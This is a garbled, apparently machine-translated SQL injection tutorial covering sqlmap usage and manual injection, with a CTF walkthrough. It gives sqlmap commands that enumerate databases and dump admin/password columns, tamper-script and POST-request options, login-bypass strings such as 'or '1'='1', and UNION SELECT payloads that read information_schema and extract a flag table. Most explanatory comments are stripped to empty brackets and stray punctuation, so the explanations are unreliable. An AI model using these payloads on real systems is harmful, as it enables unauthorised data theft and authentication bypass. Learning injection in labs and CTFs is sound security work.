Sql注入基礎入門(sqlmap使用と手作業注入)
6569 ワード
Sql注入基礎入門
一、getタイプ
多くの先輩とチームの共有に感謝して、私はここで総括します。感謝の心を持って前進を練る。
一、getタイプ
1,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"
// get ,"-u" "-url"
2,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --dbs/(-current -db)
// ( )
3,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --tables (-D shujukuming)
// ( )
4,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --columns (-T biaomingzi -D shujukuming)
// ( )
5,sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --dump (-C admin,password) -T biaomingzi -D shujukuming
// admin,password
二、ポストタイプ sqlmap.py -r "post.txt"
// post bp , sqlmap ,
:
sqlmap.py -u "http://baidu.com/admin.php" --data="id=1&name=admin"
タイトル三、ステップ説明1. level
,level , ,
, ,
2 cookie ,
3 User-Agent Referer 。
3 。
2. *
SQLMap URL ,
。
/admin/1/ ,SQLMap ,
: /admin.php?id=1
URL , , 。
sqlmap.py -u "www.baidu.com/admin/1*"
, 。
3.
:-tamper
SQLMap , payload ,
。
**** :sqlmap -u "url" --tamper="a.py"****
4. :
admin'#
suibianshu or '1' = '1'#
admin' or '1'='1
タイトル四、手動注入プロセス:(一つのctfは例として)1,id=-1' union select 1,2,3,database()
# skctf_flag
2, id=-1' union select 1,2,3,group_concat(table_name) from
information_schema.tables where table_schema=database()
# :fl4g,sc
3,id=-1' union select 1,2,3,group_concat(column_name) from
information_schema.columns where table_name=0x666c3467#
// 16 skctf_flag
4,id=-1' union select 1,2,3,skctf_flag from fl4g#
# flag, order by
: , !!!
五、データベース内の関数: 1. version()——MySQL
2. user()——
3. database()——
4. @@datadir——
5. @@version_compile_os——
:
url + id=3′ UNION SELECT 1,DATABASE() %23 %23 “#”
六、図解析版SQLMap :
https://gitbook.cn/books/5ba8393639ea516190a9b8f8/index.html
:
https://www.jianshu.com/p/268ef198d191
七、注入点を補充する: hacker , ' %df'(%df , )
sqlは注入して、この1篇は主に1つの大体を書くのです。詳しいのは他の文章を見に行ってもいいです。多くの先輩とチームの共有に感謝して、私はここで総括します。感謝の心を持って前進を練る。